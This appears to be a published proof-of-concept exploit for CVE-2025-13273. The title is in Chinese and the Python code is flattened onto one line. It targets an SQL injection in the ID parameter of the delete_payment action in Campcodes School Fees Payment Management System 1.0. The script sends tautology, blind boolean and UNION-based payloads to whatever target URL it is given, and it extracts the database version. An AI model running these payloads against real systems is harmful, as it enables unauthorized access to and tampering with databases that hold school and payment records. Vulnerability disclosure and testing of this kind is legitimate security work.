CVE-2025-13273 Campcodes学校收费管理系统SQL注入漏洞

#!/usr/bin/env python3 """ CVE-2025-13273 SQL Injection PoC Target: Campcodes School Fees Payment Management System 1.0 Vulnerability: SQL Injection in /ajax.php?action=delete_payment (ID parameter) """ import requests import sys from urllib.parse import urlencode def test_sql_injection(target_url, payload): """ Test SQL injection vulnerability """ params = { 'action': 'delete_payment', 'ID': payload } try: response = requests.get(f"{target_url}/ajax.php", params=params, timeout=10) return response except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return None def extract_database_version(target_url): """ Extract database version using UNION-based injection """ # Payload to extract MySQL version payload = "' UNION SELECT NULL,version(),NULL,NULL,NULL-- -" response = test_sql_injection(target_url, payload) if response and response.status_code == 200: print(f"[+] Response received. Check response for database version.") print(f"[+] Response length: {len(response.text)}") return response.text return None def blind_boolean_injection(target_url): """ Demonstrate blind boolean-based SQL injection """ # True condition - should return normal response true_payload = "' AND 1=1-- -" # False condition - should return different response false_payload = "' AND 1=2-- -" print("[*] Testing true condition...") true_resp = test_sql_injection(target_url, true_payload) print("[*] Testing false condition...") false_resp = test_sql_injection(target_url, false_payload) if true_resp and false_resp: if true_resp.text != false_resp.text: print("[+] Blind SQL injection confirmed!") print(f"[+] True response length: {len(true_resp.text)}") print(f"[+] False response length: {len(false_resp.text)}") def main(): if len(sys.argv) < 2: print("Usage: python3 cve-2025-13273.py <target_url>") print("Example: python3 cve-2025-13273.py http://target.com/school-system") sys.exit(1) target = sys.argv[1].rstrip('/') print(f"[*] Target: {target}") print(f"[*] Testing CVE-2025-13273 SQL Injection\n") # Test basic injection print("[*] Step 1: Testing basic SQL injection...") basic_payload = "' OR '1'='1" test_sql_injection(target, basic_payload) # Test blind boolean injection print("\n[*] Step 2: Testing blind boolean injection...") blind_boolean_injection(target) # Extract database version print("\n[*] Step 3: Extracting database information...") extract_database_version(target) print("\n[*] PoC execution completed.") print("[*] Manual verification recommended.") if __name__ == "__main__": main()